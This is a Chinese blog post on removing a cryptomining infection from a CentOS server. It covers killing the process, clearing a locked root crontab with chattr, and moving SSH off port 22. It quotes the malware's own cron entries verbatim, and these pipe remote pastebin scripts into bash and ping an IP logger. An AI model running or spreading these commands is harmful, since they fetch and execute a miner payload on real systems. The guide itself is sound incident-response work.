解決挖礦病毒導致的cpu100%
忘記病毒進程的截圖了,解決後也找不到了,就說一下整個過程吧。姑且把對手稱之爲“病毒”吧。
以下是我個人的解決方法,如果大神覺得不妥懇請指正。
1、解決病毒
首先top -c 查看某進程cpu使用逼近100%,說明此事不簡單,默默記下PID。
查看進程的工作路徑
ll /proc/PID/exe
,我的是在/var/tmp/bbb
。可以選擇刪除改路徑下的bbb文件夾,然後
kill -9 PID
。但通常這種注入都有定時,所以只是這樣一會兒還會出現該進程繼續霸佔cpu。所以重點時得把定時給搞了。通過
crontab -e
或vim /var/spool/cron/root
打開root用戶的定時任務:*/7 * * * * curl -A fczyo-cron/1.6 -sL $(curl -sL https://anonpasta.rocks/raw/nofoletove) | bash -s >/dev/null 2>&1 */10 * * * * curl -A fczyo-cron/1.6 -sL $(curl -sL https://anonpasta.rocks/raw/imusacubix) | bash -s >/dev/null 2>&1 */3 * * * * curl -A goodboy/1.5 -sL https://iplogger.org/1i9ve7 */2 * * * * curl -A fczyo-cron/1.6 -sL $(curl -sL https://anonpasta.rocks/raw/atucewakep) | bash -s >/dev/null 2>&1
按道理直接刪除文件就行,但這樣不太優雅,而且病毒會自動創建同名文件繼續搞它的定時任務,所以我選擇保留文件,只是把內容刪除。
可是,通常病毒會把該文件權限設置爲“只讀 -i”,“可追加 -a”,我們可以通過如下命令查看權限:
lsattr /var/spool/cron/root
結果:
----ia-------e- /var/spool/cron/root
這樣的話我們沒法直接刪除文件中的內容,需要先修改權限,如下:
chattr -ia /var/spool/cron/root
然後就可以
vim /var/spool/cron/root
將裏面的內容刪除然後:wq了。重點!!做完這些後,把權限再改爲只讀,並不允許追加,防止病毒繼續追加內容進去,這樣就白刪了,所以執行:
chattr +i /var/spool/cron/root
至此,目前病毒就無法註冊定時任務了,然後放心的kill掉那個進程。
2、防止再次被搞?
修改遠程連接密碼(該方式簡單)
修改ssh端口(默認時22):
這裏有個問題,就是阿里雲不讓在網頁控制檯直接修改ssh的端口,如下:
灰色不能修改。那就只能在服務器內部修改了。
主要是修改
/etc/ssh/sshd_config
文件中的Port屬性:先添加一個自定義的不衝突的端口,如5656,然後保存。
這裏有個問題,可能遇到也是同上面修改定時任務文件
/var/spool/cron/root
時遇到的權限問題,再使用上面的那些方法修改權限後再修改文件,然後恢復原有權限即可。重啓ssh,我用的是centos,命令如下:
systemctl restart sshd.service
然後修改我們的ssh客戶端軟件,讓其使用剛纔定義的5656端口進行連接,連接過後,再修改配置文件把22端口刪掉,這樣就無法通過22端口做ssh連接了。
最後爲了安全,配一配防火牆啥的。